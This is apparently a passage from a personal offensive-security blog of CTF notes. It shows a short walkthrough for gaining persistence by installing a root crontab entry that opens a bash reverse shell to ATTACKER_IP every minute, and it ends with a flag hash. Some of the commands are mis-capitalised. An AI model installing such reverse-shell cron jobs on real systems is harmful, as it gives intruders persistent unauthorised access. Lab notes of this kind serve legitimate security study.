boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

02. Persistence via Cron Jobs

A cron job owned by root that runs an attacker-controlled command gives persistent, scheduled callbacks. Here I add one that opens a reverse shell every minute.

Check the existing crontab first:

Cat /etc/crontab

Create the Cron File

Write the reverse-shell line to a file and install it as the crontab.

Echo “* * * * * /bin/bash -c ‘bash -I >& /dev/tcp/ATTACKER_IP/1337 0>&1’” > cron
* * * * *  # every minute
Crontab -i cron
Crontab -l

Flag

79969e32981f722464fde4ce7f208883